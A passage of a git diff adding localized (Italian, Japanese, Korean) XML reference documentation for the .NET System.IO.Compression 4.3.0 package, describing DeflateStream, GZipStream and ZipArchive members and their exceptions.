flusso sottostante non è chiuso e supporta la lettura; in caso contrario, false. + + + + + + Ottiene un valore che indica se il flusso supporta la ricerca. + false in tutti i casi. + + + Ottiene un valore che indica se il flusso supporta la scrittura. + true se il valore di è Compress e il flusso sottostante non è chiuso e supporta la scrittura; in caso contrario, false. + + + + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + L'implementazione corrente di questo metodo non presenta alcuna funzionalità. + Il flusso è chiuso. + + + + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Valore long. + Questa proprietà non è supportata su questo flusso. + + + + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Valore long. + Questa proprietà non è supportata su questo flusso. + + + + + + Legge un numero di byte decompressi nella matrice di byte specificata. + Numero di byte decompressi nella matrice di byte.Se è stata raggiunta la fine del flusso, viene restituito zero o il numero di byte letto. + Matrice usata per archiviare i byte decompressi. + Offset dei byte in in corrispondenza del quale cui verranno inseriti i byte letti. + Numero massimo di byte decompressi da leggere. + + è null. + Al momento della creazione dell'oggetto, il valore di era Compress.-oppure-Il flusso sottostante non supporta la lettura. + + o è minore di zero.-oppure-La lunghezza di meno il punto iniziale dell'indice è minore di . + Il formato dei dati non è valido. + Il flusso è chiuso. + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Valore long. + Posizione all'interno del flusso. + Uno dei valori di . + Questa proprietà non è supportata su questo flusso. + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Lunghezza del flusso. + Questa proprietà non è supportata su questo flusso. + + + Scrive i byte compressi nel flusso sottostante dalla matrice di byte specificata. + Buffer contenente i dati da comprimere. + Offset dei byte in da cui verranno letti i byte. + Numero massimo di byte da scrivere. + Non è possibile eseguire l'operazione di scrittura perché il flusso è chiuso. + + + Rappresenta un pacchetto di file compressi nel formato di archiviazione ZIP. + + + Inizializza una nuova istanza della classe dal flusso specificato. + Flusso che contiene l'archivio da leggere. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Inizializza una nuova istanza della classe dal flusso specificato e con la modalità specificata. + Flusso di input o output. + Uno dei valori di enumerazione che indica se l'archivio ZIP viene usato per leggere, creare o aggiornare le voci. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Inizializza una nuova istanza della classe sulla base del flusso specificato per la modalità specificata e, facoltativamente, mantiene aperto il flusso. + Flusso di input o output. + Uno dei valori di enumerazione che indica se l'archivio ZIP viene usato per leggere, creare o aggiornare le voci. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Inizializza una nuova istanza della classe sulla base del flusso specificato per la modalità specificata. Usa la codifica specificata per i nomi delle voci e, facoltativamente, mantiene aperto il flusso. + Flusso di input o output. + Uno dei valori di enumerazione che indica se l'archivio ZIP viene usato per leggere, creare o aggiornare le voci. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + La codifica da usate durante la lettura o la scrittura dei nomi delle voci in questo archivio.Specificare un valore per il parametro solo quando una codifica è obbligatoria per l'interoperabilità con gli strumenti e le librerie dell'archivio ZIP che non supportano la codifica UTF-8 per i nomi di voce. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Crea una voce vuota con il percorso e il nome della voce specificati nell'archivio ZIP. + Voce vuota nell'archivio ZIP. + Percorso, relativo alla radice dell'archivio, che specifica il nome della voce da creare. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Crea una voce vuota con il livello di compressione e il nome voce specificati nell'archivio ZIP. + Voce vuota nell'archivio ZIP. + Percorso, relativo alla radice dell'archivio, che specifica il nome della voce da creare. + Uno dei valori di enumerazione che indica se privilegiare la velocità o l'efficacia di compressione quando si crea la voce. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Rilascia le risorse usate dall'istanza corrente della classe . + + + Viene chiamato dai metodi e per rilasciare le risorse non gestite usate dall'istanza corrente della classe e, facoltativamente, completa la scrittura dell'archivio e rilascia le risorse gestite. + true per completare la scrittura dell'archivio e rilasciare le risorse gestite e non gestite; false per rilasciare solo le risorse non gestite. + + + Ottiene la raccolta di voci attualmente presenti nell'archivio ZIP. + La raccolta di voci attualmente presenti nell'archivio ZIP. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Recupera un wrapper per la voce specificata nell'archivio ZIP. + Wrapper per la voce specificata nell'archivio; null se la voce non esiste nell'archivio. + Percorso, relativo alla radice dell'archivio, che identifica la voce da recuperare. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Ottiene un valore che descrive il tipo di azione che l'archivio ZIP può eseguire sulle voci. + Uno dei valori di enumerazione che descrive il tipo di azione (leggere, creare o aggiornare) che l'archivio ZIP può eseguire sulle voci. + + + Rappresenta un file compresso in un archivio ZIP. + + + Ottiene l'archivio ZIP cui appartiene la voce. + Archivio ZIP cui appartiene la voce o null se la voce è stata eliminata. + + + Ottiene la dimensione compressa della voce nell'archivio ZIP. + La dimensione compressa della voce nell'archivio ZIP. + The value of the property is not available because the entry has been modified. + + + Elimina la voce dall'archivio ZIP. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Ottiene il percorso relativo della voce nell'archivio ZIP. + Percorso relativo della voce nell'archivio ZIP. + + + Ottiene o imposta l'ultima volta in cui la voce nell'archivio ZIP è stata modificata. + L'ultima volta in cui la voce nell'archivio ZIP è stata modificata. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Ottiene la dimensione non compressa della voce nell'archivio ZIP. + Dimensione non compressa della voce nell'archivio ZIP. + The value of the property is not available because the entry has been modified. + + + Ottiene il nome file della voce nell'archivio ZIP. + Nome file della voce nell'archivio ZIP. + + + Apre la voce dall'archivio ZIP. + Flusso che rappresenta il contenuto della voce. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Recupera il percorso relativo della voce nell'archivio ZIP. + Percorso relativo della voce, ovvero il valore archiviato nella proprietà . + + + Specifica i valori per l'interazione con le voci dell'archivio ZIP. + + + È consentita solo la creazione di nuove voci dell'archivio. + + + È consentita solo la lettura delle voci dell'archivio. + + + Sono consentite sia operazioni in lettura che in scrittura per le voci dell'archivio. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netcore50/ja/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netcore50/ja/System.IO.Compression.xml new file mode 100644 index 0000000..2626cda --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netcore50/ja/System.IO.Compression.xml @@ -0,0 +1,446 @@ + + + + System.IO.Compression + + + + 圧縮操作で速度または圧縮サイズのどちらを重視するかどうかを示す値を指定します。 + + + 圧縮後のファイルは最適な圧縮ではなくても、圧縮操作はできるだけ迅速に完了する必要があります。 + + + ファイルに対して圧縮を行いません。 + + + 圧縮操作の操作が完了するまでに時間がかかりますが、圧縮操作は最適に圧縮する必要があります。 + + + 基になるストリームを圧縮するのか、または圧縮解除するのかを指定します。 + + + 基になるストリームを圧縮します。 + + + 基になるストリームを圧縮解除します。 + + + Deflate アルゴリズムを使用してストリームを圧縮および圧縮解除するためのメソッドとプロパティを提供します。 + + + 指定したストリームと圧縮レベルを使用して、 クラスの新しいインスタンスを初期化します。 + 圧縮するストリーム。 + ストリームの圧縮時に速度または圧縮の効率性を強調するかどうかを示す列挙値の 1 つ。 + + は null です。 + ストリームは圧縮などの書き込み操作をサポートしません。(ストリーム オブジェクトの プロパティは false です) + + + 指定したストリームと圧縮レベルを使用して クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 圧縮するストリーム。 + ストリームの圧縮時に速度または圧縮の効率性を強調するかどうかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリーム オブジェクトを開いたままにする場合は true、それ以外の場合は false。 + + は null です。 + ストリームは圧縮などの書き込み操作をサポートしません。(ストリーム オブジェクトの プロパティは false です) + + + 指定したストリームと圧縮モードを使用して、 クラスの新しいインスタンスを初期化します。 + 圧縮または圧縮解除するストリーム。 + ストリームを圧縮するか圧縮解除するかを示す列挙値の 1 つ。 + + は null です。 + + が有効な 値ではありません。または が で、 が false です。または が で、 が false です。 + + + 指定したストリームと圧縮モードを使用して クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 圧縮または圧縮解除するストリーム。 + ストリームを圧縮するか圧縮解除するかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + + は null です。 + + が有効な 値ではありません。または が で、 が false です。または が で、 が false です。 + + + 基になるストリームへの参照を取得します。 + 基になるストリームを表すストリーム オブジェクト。 + 基になるストリームが閉じられました。 + + + ファイルの圧縮解除中にストリームが読み取りをサポートするかどうかを示す値を取得します。 + + 値が Decompress で、基になるストリームが開いており、読み取りをサポートしている場合は true。それ以外の場合は false。 + + + ストリームがシークをサポートしているかどうかを示す値を取得します。 + 常に false。 + + + ストリームが書き込みをサポートしているかどうかを示す値を取得します。 + + 値が Compress で、基になるストリームが書き込みをサポートし、閉じられていない場合は true。それ以外の場合は false。 + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 現在実装されているこのメソッドは、何の機能も提供しません。 + ストリームが閉じられました。 + + + + + + このプロパティはサポートされていないため、常に をスローします。 + long 値。 + このストリームでは、このプロパティはサポートされていません。 + + + + + + このプロパティはサポートされていないため、常に をスローします。 + long 値。 + このストリームでは、このプロパティはサポートされていません。 + + + + + + 圧縮解除されたバイト数を、指定したバイト配列に読み取ります。 + バイト配列に読み取られたバイト数。 + 圧縮解除されたバイトを格納するための配列。 + 読み取られるバイトが配置される 内のバイト オフセット。 + 読み取られる、圧縮解除されたバイトの最大数。 + + は null です。 + オブジェクトが作成されたとき、 値が Compress でした。または 基になるストリームが読み取りをサポートしていません。 + + または が 0 未満です。または の長さからインデックスの開始点を引いた値が 未満です。 + データ形式が無効です。 + ストリームが閉じられました。 + + + この操作はサポートされていないため、常に をスローします。 + long 値。 + ストリーム内の位置。 + + 値の 1 つ。 + このストリームでは、このプロパティはサポートされていません。 + + + この操作はサポートされていないため、常に をスローします。 + ストリーム長。 + このストリームでは、このプロパティはサポートされていません。 + + + 圧縮されたバイトを、指定したバイト配列から基になるストリームに書き込みます。 + 圧縮するデータを格納しているバッファー。 + バイトの読み取り元となる 内のバイト オフセット。 + 書き込む最大バイト数。 + + + ストリームの圧縮および圧縮解除を実行するために使用するメソッドとプロパティを提供します。 + + + 指定したストリームと圧縮レベルを使用して、 クラスの新しいインスタンスを初期化します。 + 圧縮されたデータを書き込むストリーム。 + ストリームの圧縮時に速度または圧縮の効率性を強調するかどうかを示す列挙値の 1 つ。 + + は null です。 + ストリームは圧縮などの書き込み操作をサポートしません。(ストリーム オブジェクトの プロパティは false です) + + + 指定したストリームと圧縮レベルを使用して クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 圧縮されたデータを書き込むストリーム。 + ストリームの圧縮時に速度または圧縮の効率性を強調するかどうかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリーム オブジェクトを開いたままにする場合は true、それ以外の場合は false。 + + は null です。 + ストリームは圧縮などの書き込み操作をサポートしません。(ストリーム オブジェクトの プロパティは false です) + + + 指定したストリームと圧縮モードを使用して、 クラスの新しいインスタンスを初期化します。 + 圧縮されたデータまたは圧縮解除されたデータが書き込まれるストリーム。 + ストリームを圧縮するか圧縮解除するかを示す列挙値の 1 つ。 + + は null です。 + + が有効な 列挙値ではありません。または が で、 が false です。または が で、 が false です。 + + + 指定したストリームと圧縮モードを使用して クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 圧縮されたデータまたは圧縮解除されたデータが書き込まれるストリーム。 + ストリームを圧縮するか圧縮解除するかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + + は null です。 + + が有効な 値ではありません。または が で、 が false です。または が で、 が false です。 + + + 基になるストリームへの参照を取得します。 + 基になるストリームを表すストリーム オブジェクト。 + 基になるストリームが閉じられました。 + + + + + + ファイルの圧縮解除中にストリームが読み取りをサポートするかどうかを示す値を取得します。 + + 値が Decompress, で、基になるストリームが読み取りをサポートし、閉じられていない場合は true。それ以外の場合は false。 + + + + + + ストリームがシークをサポートしているかどうかを示す値を取得します。 + 常に false。 + + + ストリームが書き込みをサポートしているかどうかを示す値を取得します。 + + 値が Compress で、基になるストリームが書き込みをサポートし、閉じられていない場合は true。それ以外の場合は false。 + + + + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 現在実装されているこのメソッドは、何の機能も提供しません。 + ストリームが閉じられました。 + + + + + + このプロパティはサポートされていないため、常に をスローします。 + long 値。 + このストリームでは、このプロパティはサポートされていません。 + + + + + + このプロパティはサポートされていないため、常に をスローします。 + long 値。 + このストリームでは、このプロパティはサポートされていません。 + + + + + + 圧縮解除されたバイト数を、指定したバイト配列に読み取ります。 + 圧縮解除されバイト配列に読み取られたバイト数。既にストリームの末尾に到達している場合は、ゼロまたは読み取られたバイト数が返されます。 + 圧縮解除されたバイトを格納するために使用する配列。 + 読み取られるバイトが配置される 内のバイト オフセット。 + 読み取られる、圧縮解除されたバイトの最大数。 + + は null です。 + オブジェクトが作成されたとき、 値が Compress でした。または基になるストリームが読み取りをサポートしていません。 + + または が 0 未満です。または の長さからインデックスの開始点を引いた値が 未満です。 + データ形式が無効です。 + ストリームが閉じられました。 + + + このプロパティはサポートされていないため、常に をスローします。 + long 値。 + ストリーム内の位置。 + + 値の 1 つ。 + このストリームでは、このプロパティはサポートされていません。 + + + このプロパティはサポートされていないため、常に をスローします。 + ストリーム長。 + このストリームでは、このプロパティはサポートされていません。 + + + 圧縮されたバイトを、指定したバイト配列から基になるストリームに書き込みます。 + 圧縮するデータを格納しているバッファー。 + バイトの読み取り元となる 内のバイト オフセット。 + 書き込む最大バイト数。 + ストリームが閉じているため、書き込み操作を実行できません。 + + + zip アーカイブ形式の圧縮ファイルのパッケージを表します。 + + + 指定したストリームからの クラスの新しいインスタンスを初期化します。 + 読み取るアーカイブを格納しているストリーム。 + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + 指定したストリームと指定したモードから クラスの新しいインスタンスを初期化します。 + 入力ストリームまたは出力ストリーム。 + zip のアーカイブがエントリの読み込み、作成、または更新に使用されているかどうかを示す列挙値の 1 つ。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 指定されたモードの指定されたストリームで クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 入力ストリームまたは出力ストリーム。 + zip のアーカイブがエントリの読み込み、作成、または更新に使用されているかどうかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 指定されたモードの指定されたストリームで クラスの新しいインスタンスを初期化し、エントリ名に指定されたエンコーディングを使用します。また、必要に応じて、ストリームを開いたままにします。 + 入力ストリームまたは出力ストリーム。 + zip のアーカイブがエントリの読み込み、作成、または更新に使用されているかどうかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + このアーカイブのエントリ名の読み取りまたは書き込み時に使用するエンコード。エントリ名の UTF-8 エンコードをサポートしない zip アーカイブ ツールとライブラリとの相互運用性のためにエンコードが必要な場合にのみ、このパラメーターの値を指定してください。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 指定したパスとエントリ名を持つ空のエントリを zip アーカイブに作成します。 + zip アーカイブ内の空のエントリ。 + 作成されるエントリの名前を指定する、アーカイブのルートを基準とするパス。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + 指定したエントリ名と圧縮レベルを持つ空のエントリを zip アーカイブに作成します。 + zip アーカイブ内の空のエントリ。 + 作成されるエントリの名前を指定する、アーカイブのルートを基準とするパス。 + エントリの作成時に速度または圧縮の有効性を強調するかどうかを示す列挙値の 1 つ。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + + クラスの現在のインスタンスによって使用されているリソースを解放します。 + + + + クラスの現在のインスタンスによって使用されるアンマネージ リソースを解放するために、 メソッドと メソッドによって呼び出されます。オプションで、アーカイブの書き込みを終了し、マネージ リソースを解放できます。 + アーカイブの書き込みを終了し、アンマネージ リソースとマネージ リソースを解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 現在 zip アーカイブ内にあるエントリのコレクションを取得します。 + 現在 zip アーカイブ内にあるエントリのコレクション。 + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + zip アーカイブ内の指定したエントリのラッパーを取得します。 + アーカイブ内の指定されたエントリのラッパー。エントリがアーカイブに存在しない場合は null。 + 取得するエントリを識別する、アーカイブのルートを基準とするパス。 + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + zip アーカイブがエントリで実行できる操作の種類を示す値を取得します。 + zip のアーカイブがエントリ上で実行できる操作の種類 (読み込み、作成、または更新) を示す列挙値の 1 つ。 + + + zip アーカイブ内の圧縮ファイルを表します。 + + + エントリが属する zip アーカイブを取得します。 + エントリが属している zip アーカイブ、または、エントリが削除されている場合は null。 + + + zip アーカイブ内のエントリの圧縮サイズを取得します。 + zip アーカイブ内のエントリの圧縮サイズ。 + The value of the property is not available because the entry has been modified. + + + zip アーカイブからエントリを削除します。 + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + zip アーカイブ内のエントリの相対パスを取得します。 + zip アーカイブ内のエントリの相対パス。 + + + zip アーカイブのエントリが最後に変更されたときを取得または設定します。 + zip アーカイブ内のエントリが最後に変更された時間。 + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + zip アーカイブ内のエントリの非圧縮サイズを取得します。 + zip アーカイブ内のエントリの非圧縮サイズ。 + The value of the property is not available because the entry has been modified. + + + zip アーカイブ内のエントリのファイル名を取得します。 + zip アーカイブ内のエントリのファイル名。 + + + zip のアーカイブからエントリを開きます。 + エントリの内容を表すストリーム。 + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + zip アーカイブ内のエントリの相対パスを取得します。 + エントリの相対パス。これは プロパティに格納されている値です。 + + + zip のアーカイブ エントリとの対話のための値を指定します。 + + + 新しいアーカイブ エントリの作成に限り許可されます。 + + + 新しいアーカイブ エントリの読み込みに限り許可されます。 + + + 読み取りと書き込みの両方の操作がアーカイブ エントリで許可されます。 + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netcore50/ko/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netcore50/ko/System.IO.Compression.xml new file mode 100644 index 0000000..ce2055d --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netcore50/ko/System.IO.Compression.xml @@ -0,0 +1,446 @@ + + + + System.IO.Compression + + + + 압축 시 속도를 우선할지 압축 크기를 우선할지를 나타내는 값을 지정합니다. + + + 압축 작업은 결과 파일이 최적으로 압축되지 않더라도 가능한 신속하게 완료되어야 합니다. + + + 파일에 대해 압축을 수행할 수 없습니다. + + + 작업을 완료하는 데 시간이 더 걸리더라도 압축 작업은 최적으로 압축되어야 합니다. + + + 내부 스트림을 압축할지 또는 압축을 풀지 여부를 지정합니다. + + + 내부 스트림을 압축합니다. + + + 내부 스트림의 압축을 풉니다. + + + Deflate 알고리즘을 사용하여 스트림을 압축하고 압축을 풀기 위한 메서드와 속성을 제공합니다. + + + 지정된 스트림과 압축 수준을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 압축할 스트림입니다. + 스트림을 압축할 때 속도 또는 압축 효율을 강조할지 여부를 나타내는 열거형 값 중 하나입니다. + + 가 null인 경우 + 스트림이 압축 등의 쓰기 작업을 지원하지 않습니다.(스트림 개체의 속성이 false입니다.) + + + 지정된 스트림과 압축 수준을 사용하여 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둘 수 있습니다. + 압축할 스트림입니다. + 스트림을 압축할 때 속도 또는 압축 효율을 강조할지 여부를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림 개체를 열어 두려면 true이고, 그렇지 않으면 false입니다. + + 가 null인 경우 + 스트림이 압축 등의 쓰기 작업을 지원하지 않습니다.(스트림 개체의 속성이 false입니다.) + + + 지정된 스트림과 압축 모드를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 압축하거나 압축을 풀 스트림입니다. + 스트림을 압축할 것인지 또는 압축 해제할 것인지를 나타내는 열거형 값 중 하나입니다. + + 가 null인 경우 + + 은(는) 올바른 값이 아닙니다.또는가 이고 가 false인 경우또는가 이고 가 false인 경우 + + + 지정된 스트림과 압축 모드를 사용하여 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둘 수 있습니다. + 압축하거나 압축을 풀 스트림입니다. + 스트림을 압축할 것인지 또는 압축 해제할 것인지를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 그렇지 않으면 false입니다. + + 가 null인 경우 + + 은(는) 올바른 값이 아닙니다.또는가 이고 가 false인 경우또는가 이고 가 false인 경우 + + + 내부 스트림에 대한 참조를 가져옵니다. + 내부 스트림을 나타내는 스트림 개체입니다. + 내부 스트림이 닫혀 있는 경우 + + + 파일의 압축을 푸는 동안 스트림을 읽을 수 있는지 여부를 나타내는 값을 가져옵니다. + + 값이 Decompress이고 내부 스트림이 열려 있으며 읽기를 지원하면 true이고, 이외의 경우는 false입니다. + + + 스트림이 검색을 지원하는지 여부를 나타내는 값을 가져옵니다. + 모든 경우에 false입니다. + + + 스트림이 쓰기를 지원하는지 여부를 나타내는 값을 가져옵니다. + + 값이 Compress이고 내부 스트림이 쓰기를 지원하며 닫혀 있지 않으면 true이고, 이외의 경우는 false입니다. + + + + 가 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 이 메서드의 현재 클래스에는 기능이 없습니다. + 스트림이 닫혀 있는 경우 + + + + + + 이 속성은 지원되지 않으며 항상 을 throw합니다. + long 값입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + + + + 이 속성은 지원되지 않으며 항상 을 throw합니다. + long 값입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + + + + 압축이 풀린 바이트 수를 지정된 바이트 배열로 읽어 들입니다. + 바이트 배열에 읽어 들인 바이트 수입니다. + 압축이 풀린 바이트를 저장할 배열입니다. + 읽은 바이트를 넣을 의 바이트 오프셋입니다. + 읽을 최대 압축 풀린 바이트 수입니다. + + 가 null인 경우 + 개체를 만들 때 값이 Compress였던 경우또는 내부 스트림이 읽기를 지원하지 않는 경우 + + 또는 가 0보다 작은 경우또는 길이에서 인덱스 시작 위치를 뺀 값이 보다 작은 경우 + 데이터의 형식이 잘못된 경우 + 스트림이 닫혀 있는 경우 + + + 이 작업은 지원되지 않으며 항상 을 throw합니다. + long 값입니다. + 스트림 내의 위치입니다. + + 값 중 하나입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + 이 작업은 지원되지 않으며 항상 을 throw합니다. + 스트림의 길이입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + 지정된 바이트 배열에서 압축된 바이트를 내부 스트림에 씁니다. + 압축할 데이터가 들어 있는 버퍼입니다. + 바이트를 읽어올 의 바이트 오프셋입니다. + 쓸 최대 바이트 수입니다. + + + 스트림을 압축하거나 압축을 푸는 데 사용되는 메서드 및 속성을 제공합니다. + + + 지정된 스트림과 압축 수준을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 압축된 데이터를 쓸 스트림입니다. + 스트림을 압축할 때 속도 또는 압축 효율을 강조할지 여부를 나타내는 열거형 값 중 하나입니다. + + 가 null인 경우 + 스트림이 압축 등의 쓰기 작업을 지원하지 않습니다.(스트림 개체의 속성이 false입니다.) + + + 지정된 스트림과 압축 수준을 사용하여 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둘 수 있습니다. + 압축된 데이터를 쓸 스트림입니다. + 스트림을 압축할 때 속도 또는 압축 효율을 강조할지 여부를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림 개체를 열어 두려면 true이고, 그렇지 않으면 false입니다. + + 가 null인 경우 + 스트림이 압축 등의 쓰기 작업을 지원하지 않습니다.(스트림 개체의 속성이 false입니다.) + + + 지정된 스트림과 압축 모드를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 압축되거나 압축을 푼 데이터가를 쓸 스트림입니다. + 스트림을 압축할 것인지 또는 압축 해제할 것인지를 나타내는 열거형 값 중 하나입니다. + + 가 null인 경우 + + 가 유효한 열거형 값이 아닌 경우또는가 이고 가 false인 경우또는가 이고 가 false인 경우 + + + 지정된 스트림과 압축 모드를 사용하여 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둘 수 있습니다. + 압축되거나 압축을 푼 데이터가를 쓸 스트림입니다. + 스트림을 압축할 것인지 또는 압축 해제할 것인지를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 그렇지 않으면 false입니다. + + 가 null인 경우 + + 은(는) 올바른 값이 아닙니다.또는가 이고 가 false인 경우또는가 이고 가 false인 경우 + + + 내부 스트림에 대한 참조를 가져옵니다. + 내부 스트림을 나타내는 스트림 개체입니다. + 내부 스트림이 닫혀 있는 경우 + + + + + + 파일의 압축을 푸는 동안 스트림을 읽을 수 있는지 여부를 나타내는 값을 가져옵니다. + + 값이 Decompress,이고 내부 스트림이 읽기를 지원하며 닫혀 있지 않으면 true이고, 그렇지 않으면 false입니다. + + + + + + 스트림이 검색을 지원하는지 여부를 나타내는 값을 가져옵니다. + 모든 경우에 false입니다. + + + 스트림이 쓰기를 지원하는지 여부를 나타내는 값을 가져옵니다. + + 값이 Compress이고 내부 스트림이 쓰기를 지원하며 닫혀 있지 않으면 true이고, 이외의 경우는 false입니다. + + + + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제할 수 있습니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 이 메서드의 현재 클래스에는 기능이 없습니다. + 스트림이 닫혀 있는 경우 + + + + + + 이 속성은 지원되지 않으며 항상 을 throw합니다. + long 값입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + + + + 이 속성은 지원되지 않으며 항상 을 throw합니다. + long 값입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + + + + 압축이 풀린 바이트 수를 지정된 바이트 배열로 읽어 들입니다. + 바이트 배열에 압축이 풀린 바이트 수입니다.스트림의 끝에 도달한 경우에는 0 또는 읽은 바이트 수가 반환됩니다. + 압축이 풀린 바이트를 저장하는 데 사용되는 배열입니다. + 읽은 바이트를 넣을 의 바이트 오프셋입니다. + 읽을 최대 압축 풀린 바이트 수입니다. + + 가 null인 경우 + 개체를 만들 때 값이 Compress였던 경우또는내부 스트림이 읽기를 지원하지 않는 경우 + + 또는 가 0보다 작은 경우또는 길이에서 인덱스 시작 위치를 뺀 값이 보다 작은 경우 + 데이터의 형식이 잘못된 경우 + 스트림이 닫혀 있는 경우 + + + 이 속성은 지원되지 않으며 항상 을 